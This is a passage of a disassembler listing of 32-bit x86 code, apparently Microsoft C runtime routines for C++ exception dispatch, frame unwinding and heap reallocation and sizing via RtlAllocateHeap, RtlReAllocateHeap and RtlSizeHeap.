--------------------------------------------------------------------------- loc_431654: ; CODE XREF: sub_4315AE+31j ; sub_4315AE+55j pop edi pop esi leave retn sub_4315AE endp ; =============== S U B R O U T I N E ======================================= sub_431658 proc near ; CODE XREF: sub_4313FB+11Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_0] mov eax, [edi+4] test eax, eax jz short loc_4316AF cmp byte ptr [eax+8], 0 lea edx, [eax+8] jz short loc_4316AF mov esi, [esp+8+arg_4] mov ecx, [esi+4] cmp eax, ecx jz short loc_431689 add ecx, 8 push ecx push edx call sub_42B260 pop ecx test eax, eax pop ecx jnz short loc_4316AB loc_431689: ; CODE XREF: sub_431658+1Fj test byte ptr [esi], 2 jz short loc_431693 test byte ptr [edi], 8 jz short loc_4316AB loc_431693: ; CODE XREF: sub_431658+34j mov eax, [esp+8+arg_8] mov eax, [eax] test al, 1 jz short loc_4316A2 test byte ptr [edi], 1 jz short loc_4316AB loc_4316A2: ; CODE XREF: sub_431658+43j test al, 2 jz short loc_4316AF test byte ptr [edi], 2 jnz short loc_4316AF loc_4316AB: ; CODE XREF: sub_431658+2Fj ; sub_431658+39j ... xor eax, eax jmp short loc_4316B2 ; --------------------------------------------------------------------------- loc_4316AF: ; CODE XREF: sub_431658+Bj ; sub_431658+14j ... push 1 pop eax loc_4316B2: ; CODE XREF: sub_431658+55j pop edi pop esi retn sub_431658 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4316B5 proc near ; CODE XREF: sub_431360+34p ; sub_431769+42p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4376C0 push offset sub_42ADC4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_0] mov esi, [ebx+8] mov [ebp+var_1C], esi mov edi, [ebp+arg_8] loc_4316E7: ; CODE XREF: sub_4316B5+8Aj cmp esi, [ebp+arg_C] jz short loc_431741 cmp esi, 0FFFFFFFFh jle short loc_4316F6 cmp esi, [edi+4] jl short loc_4316FB loc_4316F6: ; CODE XREF: sub_4316B5+3Aj call sub_431C2D loc_4316FB: ; CODE XREF: sub_4316B5+3Fj and [ebp+var_4], 0 mov eax, [edi+8] mov eax, [eax+esi*8+4] test eax, eax jz short loc_431716 push 103h push ebx push eax call sub_431B80 loc_431716: ; CODE XREF: sub_4316B5+53j or [ebp+var_4], 0FFFFFFFFh jmp short loc_431736 ; --------------------------------------------------------------------------- push [ebp+var_14] call sub_431753 pop ecx retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov esi, [ebp+var_1C] loc_431736: ; CODE XREF: sub_4316B5+65j mov eax, [edi+8] mov esi, [eax+esi*8] mov [ebp+var_1C], esi jmp short loc_4316E7 ; --------------------------------------------------------------------------- loc_431741: ; CODE XREF: sub_4316B5+35j mov [ebx+8], esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4316B5 endp ; =============== S U B R O U T I N E ======================================= sub_431753 proc near ; CODE XREF: sub_4316B5+6Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jz short loc_431764 xor eax, eax retn ; --------------------------------------------------------------------------- loc_431764: ; CODE XREF: sub_431753+Cj jmp sub_431BCC sub_431753 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431769 proc near ; CODE XREF: sub_4313FB+15Dp ; sub_4315AE+96p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch push ebp mov ebp, esp cmp [ebp+arg_18], 0 push ebx mov ebx, [ebp+arg_14] push esi push edi mov edi, [ebp+arg_4] jz short loc_43178B push [ebp+arg_18] push ebx push edi push [ebp+arg_0] call sub_431929 add esp, 10h loc_43178B: ; CODE XREF: sub_431769+10j cmp [ebp+arg_24], 0 push [ebp+arg_0] jnz short loc_431797 push edi jmp short loc_43179A ; --------------------------------------------------------------------------- loc_431797: ; CODE XREF: sub_431769+29j push [ebp+arg_24] loc_43179A: ; CODE XREF: sub_431769+2Cj call sub_42B527 mov esi, [ebp+arg_1C] push dword ptr [esi] push [ebp+arg_10] push [ebp+arg_C] push edi call sub_4316B5 mov eax, [esi+4] push 100h push [ebp+arg_20] inc eax mov [edi+8], eax push dword ptr [ebx+0Ch] push [ebp+arg_10] push [ebp+arg_8] push edi push [ebp+arg_0] call sub_4317E4 add esp, 2Ch test eax, eax jz short loc_4317DF push edi push eax call sub_42B4E5 loc_4317DF: ; CODE XREF: sub_431769+6Dj pop edi pop esi pop ebx pop ebp retn sub_431769 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4317E4 proc near ; CODE XREF: sub_431769+63p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4376D0 push offset sub_42ADC4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov ebx, [ebp+arg_10] mov [ebp+var_2C], ebx and [ebp+var_24], 0 mov esi, [ebp+arg_4] mov eax, [esi-4] mov [ebp+var_28], eax call sub_42E4EE mov eax, [eax+6Ch] mov [ebp+var_1C], eax call sub_42E4EE mov eax, [eax+70h] mov [ebp+var_20], eax call sub_42E4EE mov edi, [ebp+arg_0] mov [eax+6Ch], edi call sub_42E4EE mov ecx, [ebp+arg_8] mov [eax+70h], ecx and [ebp+var_4], 0 mov [ebp+var_4], 1 push [ebp+arg_18] push [ebp+arg_14] push ebx push [ebp+arg_C] push esi call sub_42B5AC add esp, 14h mov [ebp+var_2C], eax and [ebp+var_4], 0 or [ebp+var_4], 0FFFFFFFFh call sub_4318B1 mov eax, [ebp+var_2C] loc_43187A: ; CODE XREF: sub_431893+16j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4317E4 endp ; =============== S U B R O U T I N E ======================================= sub_431889 proc near ; DATA XREF: .text:004376E0o push dword ptr [ebp-14h] call sub_4318FF pop ecx retn sub_431889 endp ; =============== S U B R O U T I N E ======================================= sub_431893 proc near ; DATA XREF: .text:004376E4o mov esp, [ebp-18h] and dword ptr [ebp-2Ch], 0 push 0FFFFFFFFh lea eax, [ebp-10h] push eax call sub_42AD0E pop ecx pop ecx xor eax, eax jmp short loc_43187A sub_431893 endp ; --------------------------------------------------------------------------- loc_4318AB: ; DATA XREF: .text:004376D8o mov esi, [ebp+0Ch] mov edi, [ebp+8] ; =============== S U B R O U T I N E ======================================= sub_4318B1 proc near ; CODE XREF: sub_4317E4+8Ep mov eax, [ebp-28h] mov [esi-4], eax call sub_42E4EE mov ecx, [ebp-1Ch] mov [eax+6Ch], ecx call sub_42E4EE mov ecx, [ebp-20h] mov [eax+70h], ecx cmp dword ptr [edi], 0E06D7363h jnz short locret_4318FE cmp dword ptr [edi+10h], 3 jnz short locret_4318FE cmp dword ptr [edi+14h], 19930520h jnz short locret_4318FE cmp dword ptr [ebp-24h], 0 jnz short locret_4318FE cmp dword ptr [ebp-2Ch], 0 jz short locret_4318FE call sub_42AD76 push eax push edi call sub_431AED pop ecx pop ecx locret_4318FE: ; CODE XREF: sub_4318B1+22j ; sub_4318B1+28j ... retn sub_4318B1 endp ; =============== S U B R O U T I N E ======================================= sub_4318FF proc near ; CODE XREF: sub_431889+3p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov eax, [eax] cmp dword ptr [eax], 0E06D7363h jnz short loc_431926 cmp dword ptr [eax+10h], 3 jnz short loc_431926 cmp dword ptr [eax+14h], 19930520h jnz short loc_431926 cmp dword ptr [eax+1Ch], 0 jnz short loc_431926 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_431926: ; CODE XREF: sub_4318FF+Cj ; sub_4318FF+12j ... xor eax, eax retn sub_4318FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431929 proc near ; CODE XREF: sub_431769+1Ap var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4376E8 push offset sub_42ADC4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 0Ch push ebx push esi push edi mov [ebp+var_18], esp mov ecx, [ebp+arg_8] mov eax, [ecx+4] test eax, eax jz loc_431AD2 cmp byte ptr [eax+8], 0 jz loc_431AD2 mov eax, [ecx+8] test eax, eax jz loc_431AD2 mov edx, [ebp+arg_4] lea edi, [eax+edx+0Ch] and [ebp+var_4], 0 test byte ptr [ecx], 8 jz short loc_4319C6 mov esi, [ebp+arg_0] push 1 push dword ptr [esi+18h] call sub_434CC7 pop ecx pop ecx test eax, eax jz loc_431AC9 push 1 push edi call sub_434CE3 pop ecx pop ecx test eax, eax jz loc_431AC9 mov eax, [esi+18h] mov [edi], eax mov ecx, [ebp+arg_C] add ecx, 8 push ecx loc_4319B7: ; CODE XREF: sub_431929+F5j push eax call sub_431B54 pop ecx pop ecx mov [edi], eax jmp loc_431ACE ; --------------------------------------------------------------------------- loc_4319C6: ; CODE XREF: sub_431929+57j mov esi, [ebp+arg_C] test byte ptr [esi], 1 jz short loc_431A20 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] call sub_434CC7 pop ecx pop ecx test eax, eax jz loc_431AC9 push 1 push edi call sub_434CE3 pop ecx pop ecx test eax, eax jz loc_431AC9 push dword ptr [esi+14h] push dword ptr [ebx+18h] push edi call sub_42BA90 add esp, 0Ch cmp dword ptr [esi+14h], 4 jnz loc_431ACE mov eax, [edi] test eax, eax jz loc_431ACE add esi, 8 push esi jmp short loc_4319B7 ; --------------------------------------------------------------------------- loc_431A20: ; CODE XREF: sub_431929+A3j cmp dword ptr [esi+18h], 0 mov ebx, [ebp+arg_0] push 1 push dword ptr [ebx+18h] jnz short loc_431A68 call sub_434CC7 pop ecx pop ecx test eax, eax jz loc_431AC9 push 1 push edi call sub_434CE3 pop ecx pop ecx test eax, eax jz short loc_431AC9 push dword ptr [esi+14h] add esi, 8 push esi push dword ptr [ebx+18h] call sub_431B54 pop ecx pop ecx push eax push edi call sub_42BA90 add esp, 0Ch jmp short loc_431ACE ; --------------------------------------------------------------------------- loc_431A68: ; CODE XREF: sub_431929+103j call sub_434CC7 pop ecx pop ecx test eax, eax jz short loc_431AC9 push 1 push edi call sub_434CE3 pop ecx pop ecx test eax, eax jz short loc_431AC9 push dword ptr [esi+18h] call sub_434CFF pop ecx test eax, eax jz short loc_431AC9 test byte ptr [esi], 4 jz short loc_431AAF push 1 lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_431B54 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_42B520 jmp short loc_431ACE ; --------------------------------------------------------------------------- loc_431AAF: ; CODE XREF: sub_431929+168j lea eax, [esi+8] push eax push dword ptr [ebx+18h] call sub_431B54 pop ecx pop ecx push eax push dword ptr [esi+18h] push edi call sub_42B519 jmp short loc_431ACE ; --------------------------------------------------------------------------- loc_431AC9: ; CODE XREF: sub_431929+6Aj ; sub_431929+7Cj ... call sub_431C2D loc_431ACE: ; CODE XREF: sub_431929+98j ; sub_431929+E1j ... or [ebp+var_4], 0FFFFFFFFh loc_431AD2: ; CODE XREF: sub_431929+2Ej ; sub_431929+38j ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_431929 endp ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_431BCC ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431AED proc near ; CODE XREF: sub_4313FB+17Cp ; sub_4318B1+46p var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4376F8 push offset sub_42ADC4 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov eax, [ebp+arg_0] test eax, eax jz short loc_431B34 mov ecx, [eax+1Ch] mov ecx, [ecx+4] test ecx, ecx jz short loc_431B34 and [ebp+var_4], 0 push ecx push dword ptr [eax+18h] call sub_42B519 or [ebp+var_4], 0FFFFFFFFh loc_431B34: ; CODE XREF: sub_431AED+2Aj ; sub_431AED+34j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_431AED endp ; --------------------------------------------------------------------------- xor eax, eax cmp [ebp+0Ch], al setnz al retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] jmp sub_431BCC ; =============== S U B R O U T I N E ======================================= sub_431B54 proc near ; CODE XREF: sub_431929+8Fp ; sub_431929+12Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] mov eax, [ecx] mov edx, [ecx+4] add eax, esi test edx, edx jl short loc_431B75 mov esi, [edx+esi] mov ecx, [ecx+8] mov ecx, [esi+ecx] add ecx, edx add eax, ecx loc_431B75: ; CODE XREF: sub_431B54+12j pop esi retn sub_431B54 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431B80 proc near ; CODE XREF: sub_42B5AC+40p ; sub_4316B5+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4 push ebx push ecx mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov eax, [ebp+arg_0] push ebp push [ebp+arg_8] mov ecx, [ebp+arg_8] mov ebp, [ebp+var_4] call sub_42AD99 push esi push edi call eax pop edi pop esi mov ebx, ebp pop ebp mov ecx, [ebp+arg_8] push ebp mov ebp, ebx cmp ecx, 100h jnz short loc_431BBF mov ecx, 2 loc_431BBF: ; CODE XREF: sub_431B80+38j push ecx call sub_42AD99 pop ebp pop ecx pop ebx leave retn 0Ch sub_431B80 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431BCC proc near ; CODE XREF: sub_4313FB:loc_4315A9j ; sub_431753:loc_431764j ... var_18 = dword ptr -18h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00434D17 SIZE 00000017 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_437708 push offset sub_42ADC4 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi mov [ebp+var_4], esi call sub_42E4EE cmp [eax+60h], esi jz short loc_431C1F mov [ebp+var_4], 1 call sub_42E4EE call dword ptr [eax+60h] mov [ebp+var_4], esi jmp short loc_431C1F ; --------------------------------------------------------------------------- loc_431C14: ; DATA XREF: .text:00437718o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_431C18: ; DATA XREF: .text:0043771Co mov esp, [ebp+var_18] and [ebp+var_4], 0 loc_431C1F: ; CODE XREF: sub_431BCC+32j ; sub_431BCC+46j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_431C28: ; DATA XREF: .text:00437710o jmp loc_434D17 sub_431BCC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431C2D proc near ; CODE XREF: sub_42B750+23p ; sub_42B750:loc_42B7BBp ... var_18 = dword ptr -18h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_437720 push offset sub_42ADC4 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp and [ebp+var_4], 0 mov eax, off_4538E0 test eax, eax jz short loc_431C75 mov [ebp+var_4], 1 call eax ; sub_431BCC jmp short loc_431C71 ; --------------------------------------------------------------------------- loc_431C6A: ; DATA XREF: .text:00437730o push 1 pop eax retn ; --------------------------------------------------------------------------- loc_431C6E: ; DATA XREF: .text:00437734o mov esp, [ebp+var_18] loc_431C71: ; CODE XREF: sub_431C2D+3Bj and [ebp+var_4], 0 loc_431C75: ; CODE XREF: sub_431C2D+30j or [ebp+var_4], 0FFFFFFFFh call $+5 loc_431C7E: ; DATA XREF: .text:00437728o jmp sub_431BCC sub_431C2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431C83 proc near ; CODE XREF: sub_42B7EB+39p ; sub_435D8D+EDp ... var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 00431E17 SIZE 0000013F BYTES ; FUNCTION CHUNK AT 00431F67 SIZE 0000004B BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_437738 push offset sub_42ADC4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 28h push ebx push esi push edi mov ebx, [ebp+arg_0] xor edi, edi cmp ebx, edi jnz short loc_431CBD push [ebp+arg_4] call sub_4297B8 pop ecx jmp loc_431FA3 ; --------------------------------------------------------------------------- loc_431CBD: ; CODE XREF: sub_431C83+2Aj mov esi, [ebp+arg_4] cmp esi, edi jnz short loc_431CD0 push ebx call sub_4298F2 pop ecx jmp loc_431FA1 ; --------------------------------------------------------------------------- loc_431CD0: ; CODE XREF: sub_431C83+3Fj mov eax, dword_677004 cmp eax, 3 jnz loc_431E17 loc_431CDE: ; CODE XREF: sub_431C83+178j mov [ebp+var_24], edi cmp esi, 0FFFFFFE0h ja loc_431DDB push 9 call sub_42DAEF pop ecx mov [ebp+var_4], edi push ebx call sub_42C8FA pop ecx mov [ebp+var_28], eax cmp eax, edi jz loc_431DAB cmp esi, dword_676FFC ja short loc_431D5B push esi push ebx push eax call sub_42D103 add esp, 0Ch test eax, eax jz short loc_431D23 mov [ebp+var_24], ebx jmp short loc_431D5B ; --------------------------------------------------------------------------- loc_431D23: ; CODE XREF: sub_431C83+99j push esi call sub_42CC4E pop ecx mov [ebp+var_24], eax cmp eax, edi jz short loc_431D5B mov eax, [ebx-4] dec eax mov [ebp+var_20], eax cmp eax, esi jb short loc_431D3E mov eax, esi loc_431D3E: ; CODE XREF: sub_431C83+B7j push eax push ebx push [ebp+var_24] call sub_429420 push ebx call sub_42C8FA mov [ebp+var_28], eax push ebx push eax call sub_42C925 add esp, 18h loc_431D5B: ; CODE XREF: sub_431C83+8Aj ; sub_431C83+9Ej ... cmp [ebp+var_24], edi jnz short loc_431DAB cmp esi, edi jnz short loc_431D6A push 1 pop esi mov [ebp+arg_4], esi loc_431D6A: ; CODE XREF: sub_431C83+DFj add esi, 0Fh and esi, 0FFFFFFF0h mov [ebp+arg_4], esi push esi push edi push dword_677000 call dword_437210 ; RtlAllocateHeap mov [ebp+var_24], eax cmp eax, edi jz short loc_431DAB mov eax, [ebx-4] dec eax mov [ebp+var_20], eax cmp eax, esi jb short loc_431D95 mov eax, esi loc_431D95: ; CODE XREF: sub_431C83+10Ej push eax push ebx push [ebp+var_24] call sub_429420 push ebx push [ebp+var_28] call sub_42C925 add esp, 14h loc_431DAB: ; CODE XREF: sub_431C83+7Ej ; sub_431C83+DBj ... or [ebp+var_4], 0FFFFFFFFh call sub_431E0E cmp [ebp+var_28], edi jnz short loc_431DDB cmp esi, edi jnz short loc_431DC0 push 1 pop esi loc_431DC0: ; CODE XREF: sub_431C83+138j add esi, 0Fh and esi, 0FFFFFFF0h mov [ebp+arg_4], esi push esi push ebx push edi push dword_677000 call dword_437160 ; RtlReAllocateHeap mov [ebp+var_24], eax loc_431DDB: ; CODE XREF: sub_431C83+61j ; sub_431C83+134j mov eax, [ebp+var_24] cmp eax, edi jnz loc_431FA3 cmp dword_676930, edi jz loc_431FA3 push esi call sub_42C6C5 pop ecx test eax, eax jnz loc_431CDE jmp loc_431FA1 sub_431C83 endp ; =============== S U B R O U T I N E ======================================= sub_431E06 proc near ; DATA XREF: .text:00437740o mov esi, [ebp+0Ch] mov ebx, [ebp+8] xor edi, edi sub_431E06 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_431E0E proc near ; CODE XREF: sub_431C83+12Cp push 9 call sub_42DB50 pop ecx retn sub_431E0E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431C83 loc_431E17: ; CODE XREF: sub_431C83+55j cmp eax, 2 jnz loc_431F67 cmp esi, 0FFFFFFE0h ja short loc_431E37 cmp esi, edi jbe short loc_431E31 add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_431E34 ; --------------------------------------------------------------------------- loc_431E31: ; CODE XREF: sub_431C83+1A4j push 10h pop esi loc_431E34: ; CODE XREF: sub_431C83+1ACj mov [ebp+arg_4], esi loc_431E37: ; CODE XREF: sub_431C83+1A0j ; sub_431C83+2CBj mov [ebp+var_24], edi cmp esi, 0FFFFFFE0h ja loc_431F36 push 9 call sub_42DAEF pop ecx mov [ebp+var_4], 1 lea eax, [ebp+var_2C] push eax lea eax, [ebp+var_38] push eax push ebx call sub_42D655 add esp, 0Ch mov edi, eax mov [ebp+var_30], edi test edi, edi jz loc_431F1A cmp esi, dword_453174 jnb short loc_431ED4 mov ebx, esi shr ebx, 4 push ebx push edi push [ebp+var_2C] push [ebp+var_38] call sub_42DA1D add esp, 10h test eax, eax jz short loc_431E99 mov eax, [ebp+arg_0] mov [ebp+var_24], eax jmp short loc_431ED1 ; --------------------------------------------------------------------------- loc_431E99: ; CODE XREF: sub_431C83+20Cj push ebx call sub_42D6F1 pop ecx mov [ebp+var_24], eax test eax, eax jz short loc_431ED1 movzx eax, byte ptr [edi] shl eax, 4 mov [ebp+var_34], eax cmp eax, esi jb short loc_431EB6 mov eax, esi loc_431EB6: ; CODE XREF: sub_431C83+22Fj push eax push [ebp+arg_0] push [ebp+var_24] call sub_429420 push edi push [ebp+var_2C] push [ebp+var_38] call sub_42D6AC add esp, 18h loc_431ED1: ; CODE XREF: sub_431C83+214j ; sub_431C83+222j mov ebx, [ebp+arg_0] loc_431ED4: ; CODE XREF: sub_431C83+1F3j cmp [ebp+var_24], 0 jnz short loc_431F2D push esi push 0 push dword_677000 call dword_437210 ; RtlAllocateHeap mov [ebp+var_24], eax test eax, eax jz short loc_431F2D movzx eax, byte ptr [edi] shl eax, 4 mov [ebp+var_34], eax cmp eax, esi jb short loc_431EFF mov eax, esi loc_431EFF: ; CODE XREF: sub_431C83+278j push eax push ebx push [ebp+var_24] call sub_429420 push edi push [ebp+var_2C] push [ebp+var_38] call sub_42D6AC add esp, 18h jmp short loc_431F2D ; --------------------------------------------------------------------------- loc_431F1A: ; CODE XREF: sub_431C83+1E7j push esi push ebx push 0 push dword_677000 call dword_437160 ; RtlReAllocateHeap mov [ebp+var_24], eax loc_431F2D: ; CODE XREF: sub_431C83+255j ; sub_431C83+26Bj ... or [ebp+var_4], 0FFFFFFFFh call sub_431F5C loc_431F36: ; CODE XREF: sub_431C83+1BAj mov eax, [ebp+var_24] cmp eax, edi jnz short loc_431FA3 cmp dword_676930, edi jz short loc_431FA3 push esi call sub_42C6C5 pop ecx test eax, eax jnz loc_431E37 jmp short loc_431FA1 ; END OF FUNCTION CHUNK FOR sub_431C83 ; =============== S U B R O U T I N E ======================================= sub_431F56 proc near ; DATA XREF: .text:0043774Co mov esi, [ebp+0Ch] mov ebx, [ebp+8] sub_431F56 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_431F5C proc near ; CODE XREF: sub_431C83+2AEp push 9 call sub_42DB50 pop ecx xor edi, edi retn sub_431F5C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431C83 loc_431F67: ; CODE XREF: sub_431C83+197j ; sub_431C83+31Cj xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_431F8A cmp esi, edi jnz short loc_431F75 push 1 pop esi loc_431F75: ; CODE XREF: sub_431C83+2EDj add esi, 0Fh and esi, 0FFFFFFF0h push esi push ebx push edi push dword_677000 call dword_437160 ; RtlReAllocateHeap loc_431F8A: ; CODE XREF: sub_431C83+2E9j cmp eax, edi jnz short loc_431FA3 cmp dword_676930, edi jz short loc_431FA3 push esi call sub_42C6C5 pop ecx test eax, eax jnz short loc_431F67 loc_431FA1: ; CODE XREF: sub_431C83+48j ; sub_431C83+17Ej ... xor eax, eax loc_431FA3: ; CODE XREF: sub_431C83+35j ; sub_431C83+15Dj ... mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; END OF FUNCTION CHUNK FOR sub_431C83 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431FB2 proc near ; CODE XREF: sub_42B7EB+Cp ; sub_42B7EB+2Ap var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 00432025 SIZE 0000006F BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_437750 push offset sub_42ADC4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov eax, dword_677004 cmp eax, 3 jnz short loc_432025 push 9 call sub_42DAEF pop ecx and [ebp+var_4], 0 mov esi, [ebp+arg_0] push esi call sub_42C8FA pop ecx mov [ebp+var_1C], eax test eax, eax jz short loc_432007 mov esi, [esi-4] sub esi, 9 mov [ebp+var_20], esi jmp short loc_43200A ; --------------------------------------------------------------------------- loc_432007: ; CODE XREF: sub_431FB2+48j mov esi, [ebp+var_20] loc_43200A: ; CODE XREF: sub_431FB2+53j or [ebp+var_4], 0FFFFFFFFh call sub_43201C cmp [ebp+var_1C], 0 jmp short loc_43206E sub_431FB2 endp ; =============== S U B R O U T I N E ======================================= sub_432019 proc near ; DATA XREF: .text:00437758o mov esi, [ebp-20h] sub_432019 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43201C proc near ; CODE XREF: sub_431FB2+5Cp push 9 call sub_42DB50 pop ecx retn sub_43201C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431FB2 loc_432025: ; CODE XREF: sub_431FB2+2Bj cmp eax, 2 jnz short loc_432070 push 9 call sub_42DAEF pop ecx mov [ebp+var_4], 1 lea eax, [ebp+var_24] push eax lea eax, [ebp+var_2C] push eax push [ebp+arg_0] call sub_42D655 add esp, 0Ch mov [ebp+var_28], eax test eax, eax jz short loc_43205E movzx esi, byte ptr [eax] shl esi, 4 mov [ebp+var_20], esi jmp short loc_432061 ; --------------------------------------------------------------------------- loc_43205E: ; CODE XREF: sub_431FB2+9Fj mov esi, [ebp+var_20] loc_432061: ; CODE XREF: sub_431FB2+AAj or [ebp+var_4], 0FFFFFFFFh call sub_432097 cmp [ebp+var_28], 0 loc_43206E: ; CODE XREF: sub_431FB2+65j jnz short loc_432083 loc_432070: ; CODE XREF: sub_431FB2+76j push [ebp+arg_0] push 0 push dword_677000 call dword_4371E4 ; RtlSizeHeap mov esi, eax loc_432083: ; CODE XREF: sub_431FB2:loc_43206Ej mov eax, esi mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; END OF FUNCTION CHUNK FOR sub_431FB2 ; =============== S U B R O U T I N E ======================================= sub_432094 proc near ; DATA XREF: .text:00437764o mov esi, [ebp-20h] sub_432094 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_432097 proc near ; CODE XREF: sub_431FB2+B3p push 9 call sub_42DB50 pop ecx retn sub_432097 endp ; =============== S U B R O U T I N E ======================================= sub_4320A0 proc near ; DATA XREF: sub_4320E6o ; .text:00450E90o ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_4320C3 cmp dword ptr [eax+10h], 3 jnz short loc_4320C3 cmp dword ptr [eax+14h], 19930520h jnz short loc_4320C3 jmp sub_431BCC ; --------------------------------------------------------------------------- loc_4320C3: ; CODE XREF: sub_4320A0+Dj ; sub_4320A0+13j ... mov eax, dword_676A14 test eax, eax jz short loc_4320E0 push eax call sub_434CFF test eax, eax pop ecx jz short loc_4320E0 push esi call dword_676A14 jmp short loc_4320E2 ; --------------------------------------------------------------------------- loc_4320E0: ; CODE XREF: sub_4320A0+2Aj ; sub_4320A0+35j xor eax, eax loc_4320E2: ; CODE XREF: sub_4320A0+3Ej pop esi retn 4 sub_4320A0 endp ; =============== S U B R O U T I N E ======================================= sub_4320E6 proc near ; DATA XREF: .text:0043A024o push offset sub_4320A0 call 